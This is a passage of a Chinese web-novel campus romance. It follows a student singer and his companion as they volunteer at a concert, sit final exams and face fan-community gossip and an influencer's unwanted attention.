说曹操曹操到,陶真还没来得及打开平台,手机就“叮咚叮咚”地响了起来,是助理小鱼给他发的分享链接。 他心说不好,屏住呼吸,视死如归地点了进去,只敢眯起眼睛小心翼翼地看—— 【SuperStar:哈哈哈真是可笑,七博士不会以为自己跟真知棒是真爱吧?我的妈呀,他不过是真知棒跟Z时代签约的踏脚石而已[坏笑][坏笑] 七博士好可怜啊,他知道自己其实是一只单恋别人的舔狗吗~】 【真知棒早就有男朋友了。七博士和真知棒是假的,不会还有人不知道吧?[图片][图片]】 陶真:“……” 警惕的心忽然一松,甚至不合时宜地生出了几分轻松的情绪。 虽然对这条博文的措辞不太满意,但他正愁不知道该如何压下自己和齐戚CP的热度呢,没想到刚打瞌睡,就有人过来递枕头了。 他是不是该说,这李杰“人还怪好”的呢?? 眼看着陶真的表情从一开始的紧张兮兮逐渐变得有些欲言又止,仿佛在思考该如何形容这发生的一切,祝闻声便俯身过去看了一眼。 照片上,金发少年靠在一旁宽大的肩膀上,睡得沉沉,只露出小半个精致雪白的侧脸,而黑发青年伸手拢住他的肩膀防止他滑下去,动作轻柔。虽然都看不清正脸,但仅从朦胧的轮廓就能判断出两人颜值的优越。 清晨的暖阳为他们打上了一层柔光滤镜,氛围唯美得不像话,哪怕是个瞎子来了,都能感觉出他们之间关系匪浅。 “这照片……” 见祝闻声望过来,陶真不好意思地挠了挠脸颊,很客观地说,“其实拍得还挺不错的,对吧?” 祝闻声的瞳孔黑沉沉的,却很快地“嗯”了一声。 “就是他这个文案太过分了,齐戚哥——就是七博士,人真的挺好的,只是向我推荐了Z时代,才不是什么我跟公司签约的踏脚石,”陶真说到这儿略微有些愤愤,“再说了,什么单恋的舔狗,简直就是无稽之谈!” “我真想直接转头去找他算账去,但是我手头又没有什么证据……” 祝闻声掀起了眼睫,语气很笃定:“证据不着急,一定会有的,他只能再逍遥一会。” 他的声音不紧不慢,仿佛自带着一股令人心悦诚服的魔力。 陶真不由自主地眨了眨眼,想起上一次遇见吴斌那次也是,祝闻声用这样坚定的语气安抚他,后来事情的发展确如所说。 “……嗯,那我就等着了!” 祝闻声点头。 他俯身,离陶真更近了些,状似不经意地问:“所以……你是怎么看待那位七博士的?” 陶真一怔,没想到祝闻声忽然这么问,莫名生出了一种被男友拷问“他帅还是我帅”的错觉。 他摇摇头,赶快把这种念头晃了出去,回答得很坦荡:“唔,他是我朋友,我挺感谢他能在我被人莫名其妙骂的时候来联系我的。” “不过他谈恋爱这个事情的确不应该瞒着女友粉。哪怕他跟他女朋友确实很般配——” “他有女朋友?”祝闻声忽然打断道。 陶真:“对呀。” 祝闻声直起身,忽觉心口一松。 他眼神专注地盯着陶真,淡声道:“所以,这条博文,也就只有最后一句话说对了。” ——陶真早就有男朋友了,和齐戚是假的。 35 ? 第 35 章 ◎他刚刚是不是……把自己喝过的水喂给祝闻声了◎ 几辆大巴车全都停下, 所有志愿者们列队站好,等待一会入场,周遭嘈杂熙攘, 却好像在一瞬间被按下了静音键。 陶真的脑袋“嗡”了一声,呆呆地盯着面前俊美冷淡的青年, 仿佛下一刻就会被那双幽黑的眸子吸进去。 半晌他才讷讷地应了一声,捂了捂砰砰直跳的心脏,连继续生气都忘了。 他欲盖弥彰地揉了揉自己的脸, 装成满不在乎的样子,跟在大部队后面一块往里走, 却被极为轻快的步子暴露了此刻心情极好的事实。 不远处的李杰有些难以置信地摘下了墨镜,有些匆匆地掏出了自己的手机。 为什么?为什么陶真看起来一点也不生气,一点也不着急? 他不是靠七博士才和Z时代签约的么?现在关系被解绑了,不应该抓紧时间赶快挽回吗? 可当李杰点开自己动态的评论区时, 他才发现, 众人好像早就知道这件事了! 七博士和陶真的CP粉唯唯诺诺、偃旗息鼓, 反而一个叫真摄情的CP粉在狂欢嚎叫,她们压抑了这么长时间终于扬眉吐气, 眼里全都是对打赢了对家的喜悦。 【磕真博士的都出来!!睁眼给我看清楚了!!我们家磕的CP才是真的!!什么叫做官配你们懂吗?!!】 【那些说摄影师丑的人出来道歉好吗好的。就这个背影我就已经服了,不敢想正面会有多帅!】 【这个视角是偷拍吧, 好没素质啊……不过真知棒和他男朋友确实帅,真摄情szd】 没素质?什么没素质! 李杰用力地捏住手机,连不远处有老师喊他的名字都没听见,在心里骂了几句,全部注意力都在这几条新出现的评论上。 【那个, 虽然好像没有人在意, 但这个博主好像是黑粉诶, 他点赞过好几条骂我们真知棒的博文……】 【?草,还真是,这人来拉仇恨的么?看这个视角也是偷拍,感觉话里话外都带着让我们两家吵起来的恶意。】 【恶意引战,已举报!】 【已举报加一!】 【……】 不知为何,不管是磕真博士的,还是磕真摄情的,两方之前还不死不休的仇敌全部都统一了目标,开始举报李杰的个人账号。 等李杰想要回复评论时,就被提示自己的账号违反了社区规则。他气得面色扭曲,差点把手机给摔了,咬牙切齿地抬起头时,却发现面前有个脸色比他更差的人。 一向对他还算不错的老师此刻正牢牢地盯着他,面色不善:“我从刚刚开始喊了你至少有十遍,你一直在这里低着头玩手机,你是来做志愿还是来玩手机的?” “身为大艺团的部长,你怎么这么不负责任?如果你不想当部长,可以把位置让给别的同学!” 李杰被他说的面色煞白,却不得不强撑出笑容,点头哈腰地说:“对不起老师,我刚刚走神了,是我的错……” …… 南城奥体中心内部的容量十分大,足足可以容纳六万人左右。呈环形的钢铁结构笼罩在陡立的层层座位上,挡住穹顶的太阳,圈出一片阴凉区域。 而位于体育场中心的大片区域则完全沐浴在阳光下,直直地面对着巨大的舞台和LED屏幕,一把把椅子如同军团般整齐排列。 相比之下,进入场馆内的志愿者们渺小的像是蚂蚁一样,他们乖乖地跟在指导老师的身后,被分成数个岗位,按部就班地分散到各处: 大门口的安检,进入会场前的二次安检,以及在出入口、看台通道等功能区帮忙指引位置;负责提供咨询,以及演唱会物料发放;帮助搬运舞台设备、协助进行物资补给…… 演唱会还没正式开始,所有人就已经像陀螺一样转个不停,了解完各自岗位的职责后,又被负责人喊去搬成山的矿泉水。 这是他们中午吃饭前的最后一项工作了,大部分人都铆足了力气,明明是十二月的冰冷天气,大部分人却热得挥汗如雨,场面一时间回到了英国维多利亚时代——那时候在工厂里挖煤的工人差不多也是这样。 陶真也很卖力地把羽绒服袖子捋到了小臂处搬水,但他平常本来就不怎么运动,体力不好,仅仅只是来回了几趟,整个人就有些气喘吁吁的。 正在他的脚步即将慢下来、要把手里的两箱矿泉水放下来休息一会儿时,祝闻声忽然出现了在他的身侧,径直把他手里的东西接了过来。 陶真有些吃惊地抬起头,黑发青年搬着足足四箱24瓶、550毫升的矿泉水,模样看起来毫不费力。 他顿了顿,还是忍不住跑过去,像只殷殷切切的幼兽一样眼巴巴地望着祝闻声: “你怎么一个人搬这么多呀?你把那箱水给我吧,我刚刚就是停下来……系一下鞋带!其实我可以搬得动的!” “嗯,”祝闻声侧眸,“我知道你搬得动。” 说归这么说,但他的步子却一点没停。 陶真只好又追上去,金发少年的发丝略微有些潮湿地耷在额前的,露出光洁的额头和一双极为清澈的眸子:“祝闻声!祝闻声,阿声——” 到最后,少年的尾音拉长,绵软得几乎有些像是在撒娇。 祝闻声停下了脚步,喉结滚了滚,明明足足三箱矿泉水都没能让他心跳加速,此刻却不由自主地深吸了一口气。 他将那三箱矿泉水放在一旁的椅子上,从志愿者马甲的口袋里抽出了一瓶矿泉水递给了陶真:“你拿这个。” 这不是“侮辱”人吗! 陶真忍不住瞪大了眼,刚想再说些什么,却被一只滚烫的大掌擦去了额头豆大的汗珠。 那略微有些粗粝的老茧滑过他绯红滑嫩的脸颊,落下一连串几乎颤栗的酥麻。 祝闻声的表情略微有些无奈,低声说:“只是个志愿而已,不要把自己逼得太猛,会很累。” “……” 原本涌到胸口的那些话顿时压了下去,陶真讷讷地“哦”了一声,打开那瓶矿泉水仰头喝了一口。 甘甜的水流顺着喉咙流淌下去,瞬间抚平了身体里的燥意。他接连喝了好几口,注意到祝闻声鬓角也略微有些潮,没忍住凑了过去:“那……你要不要也喝两口呀?” 两人这会刚好走到了放矿泉水的指定地点,祝闻声“嗯”了一声,掸了掸手上的灰尘。 陶真本想把水递到他手里的,却半天没看见他伸手来接,忍不住有些诧异地说:“你怎么……?” 少年粉嫩的唇瓣被水珠润湿,好像含苞欲放的花心,说话时,会露出一点点嫣红的舌尖。 祝闻声盯着这个画面看了几秒,言简意赅地说:“我手脏。” 空气有一瞬间的凝滞,在短暂的犹豫之后,陶真还是踮起了脚尖,主动去喂祝闻声。 祝闻声则顺势弯下腰,就着他的手喝完了剩下来的半瓶,最后甚至还用舌尖卷走了瓶口那一点甘甜的水珠。 陶真看着空空如也的瓶子才后知后觉地回过神来,他刚刚是不是……把自己喝过的水喂给祝闻声了? 这是不是某种程度上的间接接吻?! 祝闻声低下头:“怎么了?” “没、没什么!” 陶真将手里的空瓶子捏得嘎吱作响,有点同手同脚地跟在祝闻声的身边一块往回走,刚好与几个搬着水的学生擦肩而过。 “哎,到底是谁跟我说这个演唱会的志愿者很好的?到现在为止,我们一直在跑来跑去搬水!到底能不能近距离看看明星啊?” “不知道啊,我还想跟他们拍合照、要签名呢……卧槽!快看那边!是不是他们出来彩排节目了!” 这一声尖叫如同莱克星顿的枪声,所有志愿者们闻言都一怔,如同打了鸡血一般抬起头,连手里的矿泉水都忘了,匆匆忙忙地冲向舞台边缘。 出来的正是以七博士为首的几个网红。他们还没有换上正式的打歌服装,只随意地穿着方便行动的私服,不过每个人的身上都已经有着一股“星味”了。举手投足间带着十足的自信。 见志愿者们围到了舞台下,负责老师立刻拧起了眉头冲他们大喝了几声,还是齐戚主动站出来制止了他:“没关系的,志愿者们都辛苦了,我们可以先一起拍个照再继续彩排。” 老师原本也是怕纪律被破坏:“可这样会不会耽误你们时间啊?” “不会不会。” DoctorSeven,向日葵,小刀……这些以往只能在手机上看见的大网红们走到面前,主动合影签名,志愿者们还是很激动的。 陶真也被这种情绪感染了,他扯了扯祝闻声的袖子:“我们也过去跟齐戚哥打个招呼吧?我答应嘉嘉要帮她要签名来着!” 反正齐戚已经有女朋友了。祝闻声点头,跟陶真一块走了过去。 “七博士!” 齐戚刚结束跟一人的合影,就听见一道熟悉的声音传来,他赶忙抬起头,在看见陶真时眼睛一亮:“嘿!陶真!怎么这么巧!” “你可别告诉我你也是来找我签名的,不然我等一下就把你抓到台上,让大家来跟真知棒合影。” 陶真笑着跟齐戚打完招呼,把贾嘉喊来跟他一块拍照。 齐戚好脾气地弯下腰比耶,等拍完照才直起身,视线不经意地落在一旁的祝闻声身上:“这位是……” 没等陶真回答,齐戚整个人忽然一凛,眼神凝滞。 眼前黑发黑眼的青年个高腿长,格外俊美,即使身上套着志愿者统一的蓝色马甲,也遮不住极好的身材轮廓。 而这种极为优越的身材,这么长时间以来,他只在一个人的身上看见过。 虽然隔着很远的距离,但是—— “啊,没跟你介绍,”陶真有些不好意思地挠了挠脸颊,小声说,“这位是我男朋友,祝闻声。” “你男朋友,祝、祝闻声?” 齐戚不自觉地重复了一遍,眼神略微有些呆滞。 他情不自禁地上前一步,脑海里飞速滑过各种设想,正要试探性地问出某个问题时,恰好对上了祝闻声那双冰冷黑沉的眸子。 刹那间,他浑身一冷,几乎产生了一种被野兽盯上的错觉。 齐戚的嘴唇上下开合了片刻,话到都嘴边了,却在最后关头又被他咽了下去。 他转过头看向陶真,有点夸张地说:“……你男朋友也长得太帅了吧?看得我都自卑了!他怎么不跟你一块出镜拍视频啊,必爆啊!” 没人会不愿意自己的对象被人夸赞,陶真弯起眼:“谢谢哥!” 齐戚也勉强笑了笑,不动声色地看了一眼陶真身侧的祝闻声,将心中那股有些躁动的情绪压了下去。 刚好彩排环节开始,他们便暂停了跟志愿者们继续合照,转而按照负责人的安排候场。在等待的间隙,他感觉自己的肩膀被人拍了拍。 向日葵——向炎,视频网站将近八百万粉丝的博主,这会正满脸兴奋地盯着他: “齐戚,刚刚那个是不是‘真知棒’?你跟他挺熟的吧,能不能把他的微信推给我?” 齐戚一怔:“挺熟的……你要他微信干嘛?” 向炎意味深长地笑了一声:“你说呢?” 他的眼珠子从看见陶真那一刻开始就转不动了,原本就很对他胃口的金发少年比线上的视频还要惊艳,睫羽纤长、笑眼弯弯,又乖巧又漂亮,看得他心里痒痒的。 “操,不行!能不能把你口水收一收,”齐戚被他这个笑容恶心得起了一身鸡皮疙瘩,“人家有男朋友的好么?现在还在一块呢,很般配的。” “什么?” 向炎略微有些吃惊地睁大眼,顺着齐戚指的方向望了过去。 这会志愿者们刚刚才将成山的矿泉水搬完,每个人都极狼狈地在餐车前等着拿盒饭。祝闻声和陶真也不例外,尤其是祝闻声,他替陶真干活,搬得多,身上的蓝色马甲和双手都沾了灰尘,看起来有些落魄。 拿完盒饭后,他就跟陶真一起找了块空地,从口袋抽了两张手帕纸出来给陶真垫屁股,自己则无所谓地坐在一边,像个熟练的农民工,跟站在台上光鲜亮丽的网红形成了鲜明的对比。 向炎盯着看了几秒,忽然放松了下来,懒洋洋地评价道:“你确定?他这男朋友感觉不怎么样啊,不就是个普通的穷学生么?” “?”齐戚回想起祝闻声那个冰冷刺骨的眼神和熟悉的轮廓,有点不赞同地皱起眉,“可是他……” “可是什么?” 齐戚抿了抿唇,最终有点烦躁地挠了挠自己的脑袋:“没。当我没说。” 应该……不可能吧? 那位可是太子爷啊。 别说做演唱会志愿了,他就算是想要演唱会上这几个人专门给他唱歌也不过是一句话的事,怎么会费这个神呢?- 中午的盒饭算不上好吃,油腻腻的肥肉,黏哒哒的青菜,混着干巴巴的米饭,大部分人都一边吃一边骂。 还好陶真不是一个挑食的人,就着这样的饭也能快速地扒几口,潦草解决之后,就像只懒洋洋的小动物一样,捧着脑袋抬头晒太阳。他身侧的祝闻声也很安静,跟勤劳的田螺姑娘一样,默不作声地收拾完了塑料盒,打扫干净了两人面前的区域。 他们没有专门的休息室,只能在看台上暂时休息一会儿,下午两点的时候又重新开始干活了。布置场馆,分发物料,协助舞台……零零碎碎的一大堆事情做完,才终于迎来了一天当中最忙碌的时刻—— 傍晚六点,奥体中心外渐渐响起汽车鸣笛和无数人喧哗交谈的声音,宛如丧尸围城、大军临境。 众志愿者们听得头皮发麻,等到真正开始检票的时候更是倒吸了一口凉气:一大片黑压压的人群如同潮水一般从远处涌来,一波进去了,另外一波又紧随其后。拥挤的人潮里难免有人身上带着有些难闻的汗臭,也有人喷着刺鼻的香水,所有人都挨挨挤挤地靠在一块,摩肩接踵地往里赶…… 陶真和祝闻声戴上口罩,负责16看台的位置指引,一个指路一个说话。每次,在陶真要被人潮挤得摇摇晃晃时,祝闻声就会从一侧过来不动声色地托住他。 就这么悄无声息地不知帮了多少人,期间还有几次险些被认出来,陶真感觉自己的嗓子都要冒火了,这恐怖的安检检票才勉强过去。 天色渐渐暗了,夜幕低垂,场内外的灯光都亮了起来。 趁着门口没人,陶真拉着祝闻声往里面凑了凑,从山顶望下去。 看台上坐着上万人,大部分手里都拿着荧光棒。不知到底是从何处扩散开来的,璀璨的银白色光芒一点点地亮起,犹如宇宙中最为瑰丽的一片星海。 陶真原本干活的疲惫在刹那间消减了不少,他有些失神地看着这场面,不由自主地发出了一声惊叹。 “好美……” 祝闻声情不自禁地转着头,垂眸看向陶真。 金发少年抿着唇,极为专注地盯着舞台,一双乌溜溜的杏子眸里反射着璀璨的光芒,犹如黑曜石,轻而易举地就能将所有的注意力吸进去。 “喜欢?” 陶真先是点了点头,很快却又摇了摇,表情略微有点苦恼:“唔,我也不知道该怎么说……” “不知道该怎么说”的后半句话被隐没在铺天盖地般的欢呼和尖叫声当中。 出现在大屏幕上的是今晚演唱会活动的主持人,他们都是央视最正统的名嘴,穿着精致的礼服和西装走上舞台,笑着和大家打了招呼。在一段娓娓道来的陈词过后,迅速地介绍了今晚的第一个节目。 在震耳欲聋的掌声中,陶真干脆闭上了嘴,安静地盯着舞台。 他的熟人齐戚和几个略微有些陌生的同行一块从地面缓缓升起,与响彻全场的歌声一起出现在聚光灯下。 他们的脸被摄像机捕捉到,每一帧都被放大在屏幕上。 他们站在好几万人的面前,带着麦克风唱歌表演。 虽然有一些小失误,甚至还有好几个颤抖的音节,但都无伤大雅,也并不影响台下观众的热情。 毕竟他们有勇气全开麦上台,有勇气给观众带来一场酣畅淋漓的表演。 观众们是挑剔的,希望演艺人拿出最高的标准要求自己,给他们带来最舒适最好的演出体验;可观众也是宽容的,他们会被情绪带动,而不会特意去关注那一点微不足道的瑕疵。 前提是,无论如何,他们都要先看到表演。 一曲结束,几人笑着跟大家打招呼,模样恣意。 陶真情不自禁地握紧了拳,胸腔里仿佛有什么东西要跳出来,注视着他们的目光里有钦佩,也有羡慕。 耳畔重新响起祝闻声的声音:“喜欢吗?” 他这回没犹豫,认认真真地点了点头,声音轻得像是捧着一个极为珍贵的易碎品:“……喜欢。” “所以,”祝闻声的声音很轻,“你为什么不试试?” “……” 陶真像是听见了什么很令人不可置信的东西,他瞪大了眼睛,像只受惊的小兔子一样一连往后退了好几步,着急忙慌地冲祝闻声摇手否认:“我?我不是不试,这个根本就、就不适合我,我没法在这么多人面前表演的,我真——” “不行”两个字在舌尖滚了一圈,绞得嘴巴里血淋淋地发痛。 陶真忽然说不出话了,咬住自己的下唇,抬起头,双眸湿漉漉地望着祝闻声。 夜风吹得他的金发有些凌乱,似乎很有些可怜的样子。 “不是直接参加演唱会,如果可以的话,先从几个人开始,或者试一试网上直播,”祝闻声的黑眸沉沉,却并不冰冷,“如果喜欢的话,‘无论如何都要做下去’。” 这是陶真上次教会他的。 这回,轮到他来教陶真。 “……” 不远处重新响起震耳欲聋的歌声和尖叫,可此时此刻的陶真却觉得自己的耳畔骤然安静了下来,只剩下青年刚刚说的那一句还在脑海中反复回荡,他情不自禁地向前了几步。 两人站在山顶的栏杆旁,背后是一大片璀璨的荧光星海,闪烁的彩光朦胧了他们的侧脸,风将他们温热的呼吸缠绕在一起。 这般定定地对视了不知多久,终于,陶真开口,声音略微有些干涩: “下次…有机会的话。” 他也想试试,踏出第一步。 …… 演唱会一共持续了将近四个小时,观众们唱也唱够了,嗨也够了,收拾完东西就陆续退场。 可志愿者们还不能走,还得跟听从负责老师的安排,留下来收拾东西、整理场地。他们本来就已经忙忙碌碌一整天了,到最后都跟行尸走肉一样,凭着本能在干活。 终于忙完一切上大巴车时,时间已经过了凌晨十二点。 车上不复上午来时那么吵闹,灰头土脸的众人累得没力气说话,就连李杰这家伙都没了在背后对陶真指指点点的心思,狼狈地倚在窗边。 陶真的身体也很累,上下眼皮子都在打架,可他脑袋里的某根神经却特别亢奋,导致他有点不安地换了好几个姿势。 最终,在他决定勉勉强强就着这个姿势睡一会时,却忽然感觉自己的颈椎被人轻轻地托住了。 几秒后,他的耳朵忽然一热,倚上了一个宽厚坚实的肩膀。 陶真意识到是怎么回事,身体一松,含糊不清地喊了一句“阿声”。 祝闻声轻轻“嗯”了一声,低低道:“睡吧。” 大巴车再次颠簸,这回,陶真却没有感觉到什么疼痛。 因为青年用臂膀温柔地托住了他的脑袋,并且仔仔细细地护着他的鼻尖。 36 ? 第 36 章 ◎难道祝闻声喜欢他吗?◎ 疲惫忙碌了一整天, 终于跌进了一个温暖而舒适的怀抱,即使是在充满皮革味的颠簸大巴车上,陶真这一觉也睡得史无前例的踏实。 也许是过了一个小时, 又也许只过了十分钟,深夜的大巴车疾驰着驶过街道, 终于在南城大学门口停下。车上重新躁动起来,大部分学生都住在学校里,车门一开就如同归巢的鸟儿一般蹿了出去。 陶真依然和祝闻声走在最后, 他迷迷糊糊地揉了揉眼睛,感受着那股前所未有的舒适, 笑着冲祝闻声挥了挥手:“拜拜阿声,回去小心一点呀。” 昏黄的路灯下,黑发青年垂下眼,神色温柔地摸了摸他的头。 这一天的志愿经历就好像是一个瑰丽而奇幻的梦, 翌日醒来, 辛迪瑞拉的魔法就失灵了。 早八课上, 陶真刚和贾嘉坐下,正兴高采烈地聊着昨晚的演唱会, 就见这堂课的老师踩着高跟鞋哒哒地上了讲台,打开了PPT, 向众人宣布,期末考试周即将开始。 这个消息炸得众人猝不及防,一时间整个教室内吵嚷得好像菜市场。老师不得不重重地拍了两下讲台,命令大家安静,让他们把书拿出来划重点。 南城大学一向比别的学校考试时间早, 这几乎是一种惯例。学生们就算再反对也改变不了这么多年的传统。更何况, 考试时间早, 意味着放假时间也会相应提前。 于是,简单地抱怨了几句后,大家就立刻接受了这个事实。一时间,教室内只剩下笔和纸摩擦的沙沙声。 接下来的几节课也一样,老师一进教室就打开PPT,底下的学生们哗啦啦地翻书勾重点,原先一向懒懒散散的课堂上终于多出了几分浓厚的“学术氛围”。 陶真这学期忙着发唱歌视频,实在是没怎么认认真真地上课,这会拿到书本上这些令人头大的商业知识和名词解释时,简直心都快凉透了。 虽然这个专业并不是他喜欢的,可是他不想刚进大学的第一学期就挂科,只好硬着头皮把那些搞不明白的东西带回家一本本地啃。 他每天忙着零基础、短时间内自学,别说跟祝闻声见面录歌了,就连上网的时间都少了很多。 晚上背完一大段名词解释之后,他才终于给自己十分钟刷手机的时间,打开自己的后台看了一眼。 前段时间被他高频率的更新养刁了胃口的粉丝们,这会已经开始在后台敲碗等更新了,每个人都嗷嗷待哺: 【薄荷奶绿好好喝:几天没有更新了?我看这个真知棒也是开始小牌大耍了,速速把新视频抬上来好吗!】 【神券炸我一脸:主播我们来玩个游戏吧,我睡醒了你就把十条视频发出来好吗?】 【神券炸我一脸:主播我睡醒了。】 【……】 陶真对着评论乐了好一阵子,他理解大家的心情,知道大家是因为喜欢他,所以才会这么催促,不过现在他的确没法录视频,想了想,新发了一条抽奖动态。 【真知棒:对不起大家,最近在忙期末考试,没什么空录视频,等考完了一定努力!这条抽666个人发88的红包丌^丌*抽奖链接…】 底下的粉丝们瞬间就被安抚了,大家纷纷表演川剧变脸,参与完抽奖,跟陶真说暂时不发视频也没关系。 陶真没忍住又看了一会儿大家左右脑互搏的评论,笑得脸都疼了,才终于意识到时间不早了。 他赶快退出评论区,刚要清空后台,却在私信里看见了一个意料之外的人跟他求好友位。 不是那些给他发同人图的粉丝,而是一个拥有将近八百万粉丝的大V博主,名字叫做向日葵,自我介绍是齐戚的朋友。 陶真仔细地想了一会儿,终于将他和那天演唱会上的瘦高青年对上了号。 听贾嘉说他在网上的风评褒贬不一,不像是齐戚那种在圈里几乎没什么差评的交际花,很少会主动“放下身段”跟小博主交朋友。陶真不知为何隐隐觉得有些不对,但一向被父亲灌输多个朋友多条路的观念,还是把自己的联系方式发了过去。 下一刻,向日葵的好友申请就过来了。他自我介绍叫向炎,说自己是南城本地人,那天看见陶真以后就觉得眼前一亮,这会又在网上关注了陶真,非常喜欢陶真的视频。 他还说自己在南城博主圈子里很熟,认识很多摄影师,可以帮陶真拍视频,还可以带着他一起玩。后来一段时间,还当真给陶真发了好几次去酒吧、livehouse的邀请…… 态度相当热情,陶真不好意思不回,毕竟伸手不打笑脸人。 但他马上就要考试了,连视频都来不及拍,哪里有空和向炎这个陌生人去酒吧里鬼混?每次回复都是拒绝。 渐渐地,向炎似乎意识到他很忙,不再像之前那样给他每天发那么多条消息了。 陶真也松了口气,像头老牛一样勤勤恳恳地背书学习,终于来到了最后一周。 考那几门他最担心的专业课时,他一拿到试卷,就立刻翻到最后,把自己最用心背的那些名词解释和经典题型一股脑地写了上去。 靠着这几天临时抱佛脚的知识,好说歹说也可以凑到六十分及格,肯定不会挂科了。出考场时,他简直感觉自己在演肖申克的救赎。 考虑到下午就只剩下一门写一千字作文的形势与政策,陶真给祝闻声发了条消息,问他有没有空一起到食堂吃个便饭。 刚巧,祝闻声也才结束一门考试,问清楚陶真在第几食堂以后,十分钟不到就赶了过来。 这段时间两人都很忙,虽然在同一个学校,却也有好几天没有见面了。 祝闻声从寒风凛冽的室外走进开着空调的食堂时,一眼就在人群中看见了一身毛茸茸的金发少年。 少年笑得一如既往地灿烂,雪白的小脸大半被裹在围巾里,红润饱满,像颗诱人采撷的红苹果。 “祝闻声!” 见少年举起手高高地挥了挥、一脸兴奋的样子,祝闻声的唇角难以自抑地略微勾了一些起来,这段时间训练、公司,学习的压力似乎都在一瞬间烟消云散。 他加快脚步走向陶真,便见那颗金灿灿的小苹果一骨碌扑了过来,献宝似的展示着面前的自选菜。 “人实在是太多了,我怕等一下要排队就先帮你打好了,”陶真拉着他坐下,又把擦干净的筷子递到他手边,“你考试怎么样啦?还有几门?” 食堂做饭都高油高盐,自选菜是祝闻声这种格斗选手唯一能吃的东西。 他垂眸盯着那营养均衡的菜式看了几秒,心里缓缓滑过一阵熨帖到心尖颤的热流,接过陶真递来的筷子:“两门,一门专业课,一门马克思。” “嘿嘿,我最后一门专业课考完了,只剩形策了哦。” 陶真笑得圆溜溜的眼睛都弯成了月牙:“太棒了,终于不用再提心吊胆,可以回家过年啦!” 过年是陶真一年当中最期待的日子,因为林曼妙的剧团在这段时间里会放假,他的爷爷奶奶、姥姥姥爷,也会过来一起吃年夜饭,他们一大家子可以团圆,他还可以放烟花鞭炮、和朋友一起堆雪人打雪仗,收压岁钱大红包……只要想想就觉得很幸福。 “阿声,你放假什么安排呀?” “没什么安排,应该就留在俱乐部继续训练。” 陶真咬着筷子尖顿住了,他侧过头,有些吃惊:“都过年了,还要训练吗。你老家在南城,还是在别的地方呀?” “你家里的长辈什么的,你爸妈……不喊你早点回家吗?” 少年的模样有几分担忧,头顶那一小撮金色的呆毛晃来晃去。 祝闻声忍住伸手摸一摸的冲动,语气一如既往的平静:“老家就在这儿。家里的长辈那边有很多不太熟的亲戚,所以我一般是年后再过去拜访他们。” “我爸妈很早就分开了,他们都不会回来。” 陶真心头猛地一跳,筷子“啪塔”一下落到了地上。 他只是想随口一问,却没想到一脚踩中了一颗大地雷,这会走也不是,停也不是,整个人都有些手足无措,好半晌才干巴巴地憋出了一句:“那你岂不是,要一个人过寒假、过年了?” “嗯。” 祝闻声弯腰替他捡起那双筷子,从一边拿了双新的:“这没什么,我都已经十三年没见过他们了,早就习惯了。” 十三年。 早就习惯了。 这种话明明很心酸,可是祝闻声说的时候却好像格外平静。 陶真感觉自己眼前一阵晕眩,心脏也像是被浸到了一整碗酸柠檬里,滴滴答答地淌着血:“阿声,对不起,我、我不是故意……” “没关系,我不觉得有什么。” 祝闻声难得打断了他的话,一双黑沉沉的双眸里有些温和的光晕,“比起那个,我还是觉得,一个寒假见不到你,更让我难过一些。” “……” 陶真张了张嘴,整个人被这句话炸懵了。 他手足无措地在原地呆了半天,终于后知后觉地回过神来,心脏“咚咚”狂跳。 祝闻声是在开玩笑?还是真心这么想的? 他们两人之间的关系从一开始就是不纯洁的包/养,陶真亲眼看过祝闻声身为直男的抗拒,所以一向不会自作多情。 可现在,祝闻声既然这么说,是不是意味着…… 空气一时间安静了下来。 陶真脑袋乱得要命,猛地低下头,欲盖弥彰地大口扒着饭,含含糊糊地说:“我、我也是!” 祝闻声微微一怔,唇角忽然不自觉地向上挑起。见陶真因为吃得太快,险些被噎住,赶快伸手给他递了一瓶拧开的水。 眼圈红彤彤的金发少年赶快接过来喝了两口,把那口白米饭顺下去,劫后余生般地松了口气,感觉到背后一下一下为他轻柔顺气的大掌。 “谢谢……” 陶真泪眼汪汪地说完,转过头时恰好看见了一道熟悉的身影。他抬起头,和贾嘉四目相对。 女孩的目光在他和祝闻声之间来回逡巡了两圈,有些意味深长地挑了挑眉。 金发少年眼尾微红,唇瓣也染上了润泽的水光,整个人半靠在一旁青年的怀里,后背还在被一下下地轻拍着,就像是因不会换气而被硬生生吻成这样的。 “……” 陶真没有证据,但合理怀疑贾嘉想歪了,忍不住提高了声音:“嘉嘉!” 女孩忍笑求饶,凑过来问他吃完了没,说自己有个消息要和他讲。 陶真害怕会和考试或者放假有关,便端着餐盘匆匆站起了身,冲祝闻声示意了一下。见祝闻声点了点头,他才跟女孩一块往垃圾回收处走,问她到底是什么消息。 “其实不是什么重要的事情啦,只是一个略微有点炸裂的瓜……真宝,你知不知道大艺团的部长,李杰?” 贾嘉用手上下比划了一番,“上次还跟我们一块参加志愿者活动的,戴着个墨镜,总用鼻孔看人的那个家伙。” 陶真一愣,这个瓜竟然又跟李杰有关? 他点了点头,又顺便把自己和李杰的两次接触都说了一遍,听得贾嘉有些吃惊地瞪大了眼,神色愤愤:“我靠!原来他还干过这样的事。你真是好脾气,那么贵的西装呢,怎么不过去扇他俩大耳刮子啊!” 然而没等陶真说话,贾嘉又自顾自地补充道:“唔,不过现在也用不着你扇他了,因为已经有人替你出手了,我刚要说的就是这个——” “学校已经把他大艺团部长的位置撤下来了,而且已经取消了他竞争保研的资格。” “因为他们调查发现,当时竞选的时候,他贿赂了做票的同学,硬生生把白宇轩部长挤了下去,才终于到了这个位置。而且之后他用部长身份到处加学分,又谎称自己要出国,所以跟老师要分数加绩点。” “而且他在网上做自媒体的时候也得罪了一大批人,这家伙不知道到底犯什么毛病,老觉得自己高人一等,到处在背后诋毁同行、使手段……现在网上已经有人做瓜条把他挂出来了。” 陶真听得一愣一愣的,原本心里还有点闷气,这会已经散得无影无踪了。 到底是谁这么好心,手段雷厉风行,将这个跳梁小丑摁下去了呢? 贾嘉也只是从别处听来的消息,自然没法回答陶真的问题。她下午考完试就要回家,这会匆匆跟陶真挥了挥手,回宿舍收拾行李。 目送着女孩离开后,陶真却在原地站了半晌。 若有所思地挠了挠脸颊后,他忽然感觉眼前一暗。祝闻声在他身边站定,伸手,掌心躺着一部亮着屏幕的手机。 “放在桌上,我就先替你拿过来了,”青年眸光晦暗,“有人给你发消息。” “啊呀,我忘了!” 陶真回过神,赶快接了过来,毫无顾虑地当着祝闻声的面点了进去。 出现在屏幕上的是这段时间以来总给他发消息的人,向炎。 【向日葵:Hello啊陶真,我听说你们学校最近这几天应该就考完试了,你呢,忙完了吗?】 